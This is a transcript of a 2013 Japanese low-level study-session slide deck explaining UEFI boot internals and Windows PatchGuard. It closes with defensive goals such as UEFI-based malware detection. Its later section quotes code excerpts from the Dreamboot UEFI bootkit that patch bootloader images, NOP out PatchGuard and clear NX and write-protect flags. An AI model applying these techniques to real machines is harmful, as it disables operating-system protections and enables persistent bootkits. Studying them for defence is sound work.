Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
EFI Undercover
Search
Yuma Kurogome
July 13, 2013
Programming
3
1.6k
EFI Undercover
第3回 ローレイヤー勉強会 発表資料
http://atnd.org/events/40773
#ll3rd
Yuma Kurogome
July 13, 2013
Tweet
Share
More Decks by Yuma Kurogome
See All by Yuma Kurogome
The Art of De-obfuscation
ntddk
16
27k
死にゆくアンチウイルスへの祈り
ntddk
55
39k
Windows Subsystem for Linux Internals
ntddk
10
3k
なぜマルウェア解析は自動化できないのか
ntddk
6
4.2k
Linear Obfuscation to Drive angr Angry
ntddk
4
830
CAPTCHAとボットの共進化
ntddk
2
1.1k
マルウェアを機械学習する前に
ntddk
3
1.6k
Peeling Onions
ntddk
7
3.6k
仮想化技術を用いたマルウェア解析
ntddk
8
27k
Other Decks in Programming
See All in Programming
Ça bouge du côté des animations CSS !
goetter
2
160
pylint custom ruleで始めるレビュー自動化
shogoujiie
0
160
ML.NETで始める機械学習
ymd65536
0
240
LINE messaging APIを使ってGoogleカレンダーと連携した予約ツールを作ってみた
takumakoike
0
120
.NET Frameworkでも汎用ホストが使いたい!
tomokusaba
0
200
読まないコードリーディング術
hisaju
0
110
Domain-Driven Design (Tutorial)
hschwentner
13
22k
Boost Performance and Developer Productivity with Jakarta EE 11
ivargrimstad
0
970
ナレッジイネイブリングにAIを活用してみる ゆるSRE勉強会 #9
nealle
0
160
ソフトウェアエンジニアの成長
masuda220
PRO
12
2.1k
ABEMA iOS 大規模プロジェクトにおける段階的な技術刷新 / ABEMA iOS Technology Upgrade
akkyie
1
220
CSS Linter による Baseline サポートの仕組み
ryo_manba
1
160
Featured
See All Featured
How to train your dragon (web standard)
notwaldorf
91
5.9k
Let's Do A Bunch of Simple Stuff to Make Websites Faster
chriscoyier
507
140k
Writing Fast Ruby
sferik
628
61k
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
29
1k
The Cult of Friendly URLs
andyhume
78
6.2k
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
45
9.4k
Visualization
eitanlees
146
15k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
21
2.5k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
160
15k
The Illustrated Children's Guide to Kubernetes
chrisshort
48
49k
How To Stay Up To Date on Web Technology
chriscoyier
790
250k
Optimising Largest Contentful Paint
csswizardry
34
3.1k
Transcript
EFI Undercover @ntddk
UEFI www.uefi.org
自己紹介 • Yuma Kurogome(@ntddk) #include <ntddk.h> • 慶應義塾大学 SFC B1,
武田研 • Synclogue Inc. • セプキャン2011, セキュキャン2013 • RCE, kernel hack
リバースエンジニアリング necomimi • ロジアナ – αLow/Hi: リラックス – βLow/Hi: 活性化
– γLow/Mid: ピキーン – δ: 深いリラックス – θ: 睡眠 • 脳波の異常検知? – fluent-plugin-serialport: ログ整形 – Jubatus: 機械学習
今回話すこと • UEFI • PatchGuard
* 初心者向け * 日本語の書籍が無い...
UEFI?
UEFIとは • BIOSに代わるブートシステム • IntelとHPが1990年台にIA64アーキテクチャを 設計 • IA64にBIOSなんか乗せてられない – 16ビットプロセッサモード、1MBのアドレス空間、
PC/ATハードウェアへの依存
UEFIとは • BIOSに代わるブートシステム • IntelとHPが1990年台にIA64アーキテクチャを 設計 • BIOSが許されるのは小学生までだよね – 16ビットプロセッサモード、1MBのアドレス空間、
PC/ATハードウェアへの依存 → CPU非依存なアーキテクチャ、ドライバ
UEFIとは • Intel → Unified EFI Forum EFI → UEFI,
2.x系がリリース • 2009年頃から普及 – 2TBの壁を克服 – モジュラー型 – 高速起動
2TBの壁 • MBRのパーティションテーブルでは、開始セク タ値とセクタ数が 32bit(4G sectors) • 4G sectors *
512byte = 2TB • パーティションテーブルかセクタサイズを変え るしかない → 互換性? • GPTを前提としているUEFIに移行! • 32bit LBA → 64bit LBA
MBRとGPTの比較 • パーティション: 4個 → 128個 • セクタアドレス長: 32bit →
64bit • パーティションタイプ: 1byte → 16byte GUID • ブートフラグ: 1byte→ 属性フラグ 8bytes • パーティション名: 72bytes UTF-16 • バックアップのパーティションテーブル領域
GPT
GPT パーティションエントリ オフセット サイズ 内容 0 16byte パーティションタイプGUID 16 16byte
パーティーションユニークGUID 32 8byte 開始LBAアドレス 40 8byte 終了LBAアドレス 48 8byte 属性フラグ 56 72byte パーティション名 EFIシステムパーティションなら {C12A7328-F81F-11D2-BA4B-00A0C93EC93B}
UEFIの見た目
UEFIの見た目 • グラフィカルに実装できる • もちろんBIOSそっくりの画面のものもある • Boot ManagerというGRUBのブートメニュー のようなものがある •
UEFI Shellというコマンドプロンプトのような シェルがある
メインメニュー
Boot Managar ブート画面の選択画面 OSは自分のブートローダをここに登録する
Boot Maintenance Manager メニューの編集、ロードするドライバの指定、任 意のファイル実行など
UEFI Shell ださいシェル 任意のOS起動などに使用
GRUB 2 FOR UEFI
UEFIからのブート BootManagerの設定値がデフォルトの場合 • UEFIがHDDを検出、GPTをロード • EFI System Partitionを検索 • \EFI\BOOT\bootx64.efi
or \EFI\BOOT\bootx32.efi をロード
EFI SYSTEM PARTITION • パーティションタイプGUIDがEFI System Partitionな FATファイルシステム • GPTにブートセクタは無い
• ここからUEFIアプリケーションをロードするこ とで起動
UEFI Application • PEフォーマットのバイナリとドライバ • 32bit/64bit, Long modeも • 拡張子:
.EFI • UEFI APIを利用して各種処理を実装
UEFI APPLICATIONの種類 • 2種類のUEFI Application – 通常のUEFI Application: 終了時にExit()をコール し、
UEFI Shellなどに制御を戻す – OS Loader: 終了時にExitBootServices()をコール し、 UEFIが利用していた資源を開放して制御をOS へ移す
RUNTIME SERVICE • ExitBootServices()後もUEFIがOSに対して提供 するサービス • 最低限の機能のみ • Time (GetTime,
SetTime...) • Virtual Memory (SetirtualAddressMap...) • Variable Services (GetVariable...) • Miscellaneous Services(ResetSystem...)
BOOT SERVICE • ExitBootServices()までUEFI Applicationに提供 するサービス – Task Priority Services
(RaiseTPL...) – Memory Services (AllocatePages...) – Event & Timer Services (CreateEvent, SetTimer...) – Protocol Handler Services (HandleProtocol...) – Image Services (LoadImage, StartImage...) – Miscellaneous Services (Stall, CopyMem...) – Open and Close Protocol Services (OpenProtocol...) – Library Services (LocateProtocol...) – 32bit CRC Services (CalculateCrc32...)
Hello, World! #include <UEFI_HelloWorld.h> EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN
EFI_SYSTEM_TABLE *SystemTable) { Print (L"Hello, World!"); return EFI_SUCCESS; }
Hello, World! EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)
引数は2個(ImageHandle, SystemTable) • ImageHandleはロードされたUEFI Applicationの イメージファイルに対するハンドル • SystemTableを経由して全てのUEFI APIへアクセ ス
EFI System Table typedef struct { EFI_TABLE_HEADER Hdr; CHAR16 *FirmwareVendor;
UINT32 FirmwareRevision; EFI_HANDLE ConsoleInHandle; // 例えばこれはコンソール出力、ポインタが用意されてる EFI_SIMPLE_TEXT_INPUT_PROTOCOL *ConIn; EFI_HANDLE ConsoleOutHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *ConOut; EFI_HANDLE StandardErrorHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *StdErr; EFI_RUNTIME_SERVICES *RuntimeServices; EFI_BOOT_SERVICES *BootServices; UINTN NumberOfTableEntries; EFI_CONFIGURATION_TABLE *ConfigurationTable; } EFI_SYSTEM_TABLE; UEFI Applicationに対して公開するインタフェー スが全て詰め込まれた構造体
PROCOTOLS • ネットワークプロトコルスタックのことではな く・・・・・・ • UEFI上で提供される様々なサービス • UEFI Driverを実装しUEFIへロードすることで 自作のProtocolを提供する事も可能
Protocols • IP4/6, UDP/TCP 4/6, ARP, DHCP4/6, MTFP4/6, FTP, PXE,
iSCSI • VLAN, EAP, IPsec (IKEv2) • PCI, USB, SCSI, AHCI, removable media • GPT, vFAT • Console, Graphical Mode, Human Interface • User Identi cation fi • ACPI, SMRAM • Debugger • Compression • EFI Byte Code Virtual Machine • Firmware management
locate Windows bootloader BS->LocateHandleBuffer(ByProtocol,&FileSystemProtocol,NULL,&nbHdles,&hdleArr); for(i=0;i<nbHdles;i++) { err = BS->HandleProtocol(hdleArr[i],&FileSystemProtocol,(void **)&ioDevice);
if(err != EFI_SUCCESS) continue; err=ioDevice->OpenVolume(ioDevice,&handleRoots); if(err != EFI_SUCCESS) continue; err = handleRoots->Open(handleRoots,&bootFile,WINDOWS_BOOTX64_IMAGEPATH, EFI_FILE_MODE_READ,EFI_FILE_READ_ONLY); if(err == EFI_SUCCESS) { handleRoots->Close(bootFile); *LoaderDevicePath = FileDevicePath(handleArray[i],WIN_BOOTX64_IMAGEPATH); break; } }
UEFIのSDK • EDK II – デファクトスタンダードだが・・・・・・ – trunkだと良くハマる • UDK2010
– IntelによるEDK IIのstable – 機能はEDK IIに劣る • gnu-efi – UEFI ApplicationのみのためのLightweight実装 –
UEFIのSDK • EFI Toolkit – TianoCoreが開発するOSS – gnu-efiのもと – EFI
Shell開発にはEDKのほうが強いが、スタンドア ローンならこちらに分がある
VMでのUEFI開発 • Virtual Box – ネイティブに実行可能 – Windowsのブートはできなかった • VMWare
– vmxを編集 • firmware = "efi" – gdbスタブ • debugStub.listen.guest64 = "TRUE" • debugStub.listen.guest64.remote = "TRUE" • debugStub.hideBreakpoints = "TRUE" • monitor.debugOnStartGuest64 = "TRUE"
時代はUEFI • リアルモードのアセンブリを書かなくていい • サイズに悩まなくていい • 気軽にCで書ける • VMで検証できる •
Intel SDMを読め → UEFI Specificationを読め – Intelに限定されない
UEFIの問題点 • Lenovo製コンピュータに載ったUEFIの実装 – 本来ファームウェアがパースすべきでない文字列を パース – デフォルトで使われているブートエントリの表示名 と一致しなければブートを拒否
PatchGuard?
PatchGuardとは • 64bit版Windowsに実装されたカーネル保護機構 • Kernel Patch Protection(KPP)とも • カーネル領域の変更を監視 –
SDT: 全システムコールのテーブル – IDT: 割り込み – GDT: セグメントディスクリプタを置く領域 – カーネルからアロケートされていないカーネルス タック • 多くのrootkitは時代遅れに
時代遅れのrootkit 悪魔のツール“ルートキット”最前線 http://nkbp.jp/12xqHtA
PatchGuard • Bypassing PatchGuardで検索 • How to boost PatchGuard :
it's all about gong fu! www.zer0mem.sk/?p=271 • RebootすることなくPatchGuardを突破する
UEFI ApplicationによるPatchGuardのbypass手法
Dreamboot: A UEFI Bootkit • Sebastien kaczmarek, Quarkslab. • HITB2013
Amsterdamにて発表された • オープンソース!!! • https://github.com/quarkslab/dreamboot
Dreamboot: A UEFI Bootkit • ブートローダ – bootmgfw.efiのフック – winload.efiのフック
• カーネル – PatchGuardの無効化 – Dreambootのコードをリロケート – PsSetLoadImageNotifyRoutine()
Dreamboot: A UEFI Bootkit
Dreamboot: A UEFI Bootkit • UEFI Bootkitを理解するために読むべきソース – QuarksMain.c –
hooks.asm • 他は描画処理とPEロード
QuarksMain.c • ハードウェアからブートローダを検索 – EFI_FILE_IO_INTERFACEを利用 • PEのロード BS->LoadImage(TRUE,ParentHdle,WinLdrDp,NULL,0,&hImg); • PEメモリレイアウトの取得
BS->HandleProtocol(hImg,&LoadedImageProtocol, (void **)&img_inf); • PEにパッチ *((byte *)(img_inf->ImageBase) + offset = NOP; • ブート BS->StartImage(hImg,(UINTN *)NULL,(CHAR16 **)NULL);
hooks.asm • OslArchTransferToKernel()をフック – winload.exe → ntoskrnl.exeの際に呼び出さ れる – kiSystemStartup()を呼び出すように書き換
え
hooks.asm • NX flagの書き換え lea rcx, NTOSKRNL_PATTERN_NXFlag sub rbx,NTOSKRNL_PATTERN_NXFlag_size push
rdx mov rax,rdx mov rdx,NTOSKRNL_PATTERN_NXFlag_size call kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov byte ptr[rax],0EBh mov NTOSKRNL_NxPatchAddr,rax
hooks.asm • PatchGuardの書き換え mov rax,[rsp] lea rcx,NTOSKRNL_PATTERN_PATCHGUARD mov rdx,NTOSKRNL_PATTERN_PATCHGUARD_size call
kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov dword ptr[rax+2],090D23148h mov word ptr[rax+6],09090h mov byte ptr[rax+8],090h
hooks.asm • PEのパース • NtSetInformationThreadのフック – 通常smss.exeの作成時あるいはシステムプロセスの 作成中に呼ばれるが、無効に • NX
bit無効化後にntoskrnlにペイロードを挿入 • PEが実行される前にパッチできる • Bypassing local authentication + Priviledge escalation
hooks.asm • WP flagの書き換え • rootkitでいつも書くアレ CR0_WP_CLEAR_MASK equ 0fffeffffh CR0_WP_SET_MASK
equ 010000h cli mov rcx,cr0 and rcx, CR0_WP_CLEAR_MASK ; Unprotect kernel memory mov cr0,rcx mov rcx,cr0 or rcx, CR0_WP_SET_MASK ; Restore memory protection mov cr0,rcx sti
まとめ • UEFIで気軽にローレイヤー • PatchGuardが許されるのは(ry
やりたいこと • 悪名高いUEFI Secure Bootの補助 • OSが読み込む前に安全なチップからファイル やメモリをスキャン • rootkit/bootkit対策
• 起動のブロック
やりたいこと ・・・・・・というのを既にKasperskyがやってた “Kaspersky Anti-Virus for UEFI”
やりたいこと • 見てろよKaspersky • UEFI basedなマルウェア対策? • JIANG Zhengwei,WANG Xiaozhen,LIU
Baoxu2. UEFI malicious behavior detection model based on minimal attack tree. Computer Engineering and Applications,2012,48(32):14-17 とか、そのあたり
!!! 新規性 !!! Thanks @syuu1228 :)